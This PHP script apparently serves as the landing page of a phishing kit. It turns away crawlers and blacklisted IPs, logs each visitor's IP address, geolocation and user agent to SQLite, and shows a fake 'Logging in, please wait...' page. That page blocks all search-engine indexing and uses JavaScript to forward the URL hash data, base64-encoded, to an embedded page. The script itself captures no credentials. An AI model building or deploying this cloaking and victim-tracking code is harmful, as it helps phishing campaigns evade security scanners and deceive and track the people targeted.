<?php

use Jaybizzle\CrawlerDetect\CrawlerDetect;
use IP2Location\Database;
use Vectorface\Whip\Whip;
use PHLAK\StrGen;

session_start();
require_once './config/config.php';

$CrawlerDetect = new CrawlerDetect;

// Check the user agent of the current 'visitor'
if ($CrawlerDetect->isCrawler()) {
    // true if crawler user agent detected
    http_response_code(403);
    die();
}

$whip = new Whip();
$clientAddress = $whip->getValidIpAddress();

// Open a database connection
$db = new SQLiteDB(BASE_PATH . '/data/db/blacklist.db');

// Create the 'blacklist' table if it doesn't exist
$db->exec("CREATE TABLE IF NOT EXISTS blacklist (
    ip_address TEXT PRIMARY KEY,
    blocked_at TEXT
)");

// Check if the visitor's IP is blacklisted
$stmt = $db->prepare("SELECT * FROM blacklist WHERE ip_address = :ip");
$stmt->bindValue(':ip', $_SERVER['REMOTE_ADDR'], SQLITE3_TEXT);
$result = $stmt->execute();
if ($result->fetchArray()) {
    http_response_code(403);
    die();
}

/*
	   Cache whole database into system memory and share among other scripts & websites
	   WARNING: Please make sure your system have sufficient RAM to enable this feature
	*/
// $db = new \IP2Location\Database('./data/IP-COUNTRY-SAMPLE.BIN', \IP2Location\Database::SHARED_MEMORY);
/*
	   Cache the database into memory to accelerate lookup speed
	   WARNING: Please make sure your system have sufficient RAM to enable this feature
	*/
// $db = new \IP2Location\Database('./data/IP-COUNTRY-SAMPLE.BIN', \IP2Location\Database::MEMORY_CACHE);


/*
		Default file I/O lookup
	*/
$db = new Database(BASE_PATH . '/data/IP2LOCATION-LITE-DB11.BIN', Database::FILE_IO);

$whip = new Whip();
$clientAddress = $whip->getValidIpAddress();

$records = $db->lookup($clientAddress, Database::ALL);

$visitorsDb = new SQLiteDB(BASE_PATH . '/data/db/visitors.db');

$visitorsDb->exec("CREATE TABLE IF NOT EXISTS visitors (
    session_id TEXT PRIMARY KEY,
    url TEXT,
    redirect INTEGER,
    is_active INTEGER,
    last_visit INTEGER,
    ip_address TEXT,
    country_code TEXT,
    country_name TEXT,
    region_name TEXT,
    city_name TEXT,
    zip_code TEXT,
    user_agent TEXT,
    created_at TEXT
)");

$visitor_data = [
    'session_id' => session_id(),
    'ip_address' => $records['ipAddress'],
    'country_code' => $records['countryCode'],
    'country_name' => $records['countryName'],
    'region_name' => $records['regionName'],
    'city_name' => $records['cityName'],
    'zip_code' => $records['zipCode'],
    'user_agent' => $_SERVER['HTTP_USER_AGENT'],
    'is_active' => 1,
    'last_visit' => time(),
    'created_at' => date('Y-m-d H:i:s'),
];

$stmt = $visitorsDb->prepare("SELECT COUNT(*) FROM visitors WHERE session_id = :session_id");
$stmt->bindValue(':session_id', $visitor_data['session_id'], SQLITE3_TEXT);
$result = $stmt->execute();
$row = $result->fetchArray();
$exists = $row[0] > 0;

if ($exists) {
    $stmt = $visitorsDb->prepare("UPDATE visitors SET last_visit = :last_visit, is_active = :is_active WHERE session_id = :session_id");
    $stmt->bindValue(':last_visit', $visitor_data['last_visit'], SQLITE3_INTEGER);
    $stmt->bindValue(':is_active', $visitor_data['is_active'], SQLITE3_INTEGER);
    $stmt->bindValue(':session_id', $visitor_data['session_id'], SQLITE3_TEXT);
    $stmt->execute();
} else {
    $stmt = $visitorsDb->prepare("INSERT INTO visitors (session_id, url, redirect, ip_address, country_code, country_name, region_name, city_name, zip_code, user_agent, is_active, last_visit, created_at) VALUES (:session_id, :url, :redirect, :ip_address, :country_code, :country_name, :region_name, :city_name, :zip_code, :user_agent, :is_active, :last_visit, :created_at)");
    $stmt->bindValue(':session_id', $visitor_data['session_id'], SQLITE3_TEXT);
    $stmt->bindValue(':url', isset($visitor_data['url']) ? $visitor_data['url'] : null, SQLITE3_TEXT);
    $stmt->bindValue(':redirect', isset($visitor_data['redirect']) ? $visitor_data['redirect'] : null, SQLITE3_INTEGER);
    $stmt->bindValue(':ip_address', $visitor_data['ip_address'], SQLITE3_TEXT);
    $stmt->bindValue(':country_code', $visitor_data['country_code'], SQLITE3_TEXT);
    $stmt->bindValue(':country_name', $visitor_data['country_name'], SQLITE3_TEXT);
    $stmt->bindValue(':region_name', $visitor_data['region_name'], SQLITE3_TEXT);
    $stmt->bindValue(':city_name', $visitor_data['city_name'], SQLITE3_TEXT);
    $stmt->bindValue(':zip_code', $visitor_data['zip_code'], SQLITE3_TEXT);
    $stmt->bindValue(':user_agent', $visitor_data['user_agent'], SQLITE3_TEXT);
    $stmt->bindValue(':is_active', $visitor_data['is_active'], SQLITE3_INTEGER);
    $stmt->bindValue(':last_visit', $visitor_data['last_visit'], SQLITE3_INTEGER);
    $stmt->bindValue(':created_at', $visitor_data['created_at'], SQLITE3_TEXT);
    $stmt->execute();
}

$visitorsDb->close();

// Initialize the Generator
$generator = new StrGen\Generator();

$_SESSION["filename"] = $_SESSION["filename"] ?? [];

include BASE_PATH . '/src/init.php';
?>
<!DOCTYPE html>
<html>

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Logging in, please wait...</title>

    <meta name="robots" content="noindex, nofollow, noarchive, nosnippet, noimageindex, notranslate">
    <meta name="googlebot" content="noindex, nofollow, noarchive, nosnippet, noimageindex">
    <meta name="bingbot" content="noindex, nofollow, noarchive, nosnippet">
    <meta name="slurp" content="noindex, nofollow, noarchive, nosnippet">
    <meta name="duckduckbot" content="noindex, nofollow">
    <meta name="baiduspider" content="noindex, nofollow">
    <meta name="yandexbot" content="noindex, nofollow">

    <meta http-equiv="Cache-Control" content="no-cache, no-store, must-revalidate">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="0">

    <meta http-equiv="X-Robots-Tag" content="noindex, nofollow, noarchive, nosnippet">

    <script type="text/javascript">
        window.location.href = "<?php echo BASE_URL . '/' . EMBED_PATH; ?>?url=" + btoa("<?php echo BASE_URL . '/' . str_replace('.php', '', $init); ?>?" + decodeURI(window.location.hash.substr(1)).replace(/\s/g, ''));
    </script>
</head>

<body>
    <p>Logging in, please wait...</p>
</body>

</html>